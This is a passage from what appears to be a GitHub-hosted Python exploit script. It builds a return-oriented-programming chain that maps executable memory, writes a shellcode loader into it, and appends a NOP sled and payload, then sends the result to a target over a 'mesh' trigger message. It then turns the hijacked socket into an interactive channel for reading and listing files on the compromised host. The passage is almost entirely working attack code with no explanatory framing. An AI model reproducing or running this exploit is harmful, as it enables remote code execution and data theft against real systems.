struct.pack("Q", POP_RSI_RET), | |
struct.pack("Q", MAP_ANONYMOUS | MAP_SHARED + 0x8), | |
struct.pack("Q", MOV_POI_RDI_RSI), | |
struct.pack("Q", POP_RSI_RET), | |
struct.pack("Q", DATA_CAVE_ADDRESS), | |
struct.pack("Q", MOV_RDX_POI_RSI_MOV_POI_RDI_RDX), | |
struct.pack("Q", LEA_RCX_RDX_MINUS_8), | |
# rdx = 0x00 | |
struct.pack("Q", POP_RDI_RET), | |
struct.pack("Q", DATA_CAVE_ADDRESS), | |
struct.pack("Q", POP_RSI_RET), | |
struct.pack("Q", PROT_EXEC | PROT_READ | PROT_WRITE ), | |
struct.pack("Q", MOV_POI_RDI_RSI), | |
struct.pack("Q", POP_RSI_RET), | |
struct.pack("Q", DATA_CAVE_ADDRESS), | |
struct.pack("Q", MOV_RDX_POI_RSI_MOV_POI_RDI_RDX), | |
# r8 = whatev | |
# r9 = 0 | |
struct.pack("Q", SHR_R9_CL), # rcx is already set to 0x22 | |
# mmap( | |
# rdi : 0xdeadc000, | |
# rsi : L, | |
# rdx : PROT_EXEC | PROT_READ | PROT_WRITE , | |
# rcx: MAP_ANONYMOUS | MAP_SHARED, | |
# r8: whatev, | |
# r9: 0 | |
#) | |
struct.pack("Q", POP_RDI_RET), | |
struct.pack("Q", 0xdeadc000), | |
struct.pack("Q", POP_RSI_RET), | |
struct.pack("Q", 0x4000), | |
struct.pack("Q", MMAP_ADDRESS), | |
# copy shellcode into mmap allocated memory | |
# | |
# 0xdeadc000: 0x4889e648bfdec0ad 0xde0000000048c7c2 | |
# 0xdeadc010: 0x0030000048c7c0a0 0x044000ffd048bfde | |
# 0xdeadc020: 0xc0adde00000000ff 0xd700007375636500 | |
# 0xdeadc030: 0x0000000000000000 0x0000000000000000 | |
# | |
# Disassembly: | |
# | |
# mov rsi, rsp | |
# movabs rdi, 0xdeadc0de | |
# mov rdx, 0x3000 | |
# mov rax, 0x4004a0 ; memcpy | |
# call rax | |
# movabs rdi, 0xdeadc0de | |
# call rdi | |
# | |
struct.pack("Q", POP_RSI_RET), | |
struct.pack(">Q", 0x4889e648bfdec0ad), | |
struct.pack("Q", MOV_POI_RDI_RSI), | |
struct.pack("Q", POP_RDI_RET), | |
struct.pack("Q", 0xdeadc008), | |
struct.pack("Q", POP_RSI_RET), | |
struct.pack(">Q", 0xde0000000048c7c2), | |
struct.pack("Q", MOV_POI_RDI_RSI), | |
struct.pack("Q", POP_RDI_RET), | |
struct.pack("Q", 0xdeadc010), | |
struct.pack("Q", POP_RSI_RET), | |
struct.pack(">Q", 0x0030000048c7c0a0), | |
struct.pack("Q", MOV_POI_RDI_RSI), | |
struct.pack("Q", POP_RDI_RET), | |
struct.pack("Q", 0xdeadc018), | |
struct.pack("Q", POP_RSI_RET), | |
struct.pack(">Q", 0x044000ffd048bfde), | |
struct.pack("Q", MOV_POI_RDI_RSI), | |
struct.pack("Q", POP_RDI_RET), | |
struct.pack("Q", 0xdeadc020), | |
struct.pack("Q", POP_RSI_RET), | |
struct.pack(">Q", 0xc0adde00000000ff), | |
struct.pack("Q", MOV_POI_RDI_RSI), | |
struct.pack("Q", POP_RDI_RET), | |
struct.pack("Q", 0xdeadc028), | |
struct.pack("Q", POP_RSI_RET), | |
struct.pack(">Q", 0xd700007375636500), | |
struct.pack("Q", MOV_POI_RDI_RSI), | |
# jump rax | |
struct.pack("Q", JMP_RAX), | |
# nop sled to prepare for shellcode payload | |
struct.pack(">Q", 0x9990909090909090), | |
struct.pack(">Q", 0x9090909090909090), | |
struct.pack(">Q", 0x9090909090909090), | |
struct.pack(">Q", 0x9090909090909090), | |
# struct.pack(">Q", 0x90909090909090cc), | |
]) | |
# shellcode payload to be finally executed | |
payload = payload + shellcode | |
print("send trigger message ") | |
fc9.mesh_trig_payload(payload, gadget = ADD_RSP_0x18_GADGET) | |
# Custom server from reused socket | |
pingback = fc9._socket.recv(0x300) | |
if len(pingback): | |
print("ping received") | |
print(pingback) | |
while True: | |
cmd = input("enter command:") | |
path = input("enter path:") | |
c = b"\x02" | |
if cmd == "read": | |
c = b"\x00" | |
if cmd == "list": | |
c = b"\x01" | |
buf = c + path.encode('utf-8') | |
fc9._socket.send(buf) | |
response = fc9._socket.recv(0x300) | |
if len(response): | |
parse_response (c, response) | |
def parse_response(command, buffer): | |
# getdents types | |
DIR_TYPE = 0x04 | |
FILE_TYPE = 0x08 | |
if command == 0x00: | |
print(buffer) | |
previous_char = 0x00 | |
for i in range(0, len(buffer)): | |
current_char = buffer[i] | |
if (current_char == DIR_TYPE or current_char == FILE_TYPE) and previous_char == 0x00: | |
# trim name | |
s = buffer[i+1:] | |
end = s.find(b"\x00") | |
s = s[0:end] | |
# | |
print("%s : %s" % (("file", "dir")[current_char == DIR_TYPE], s)) | |
previous_char = current_char | |
if __name__ == '__main__': | |
ip = sys.argv[1] | |
port = int(sys.argv[2]) | |
do_pown(ip, port) | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment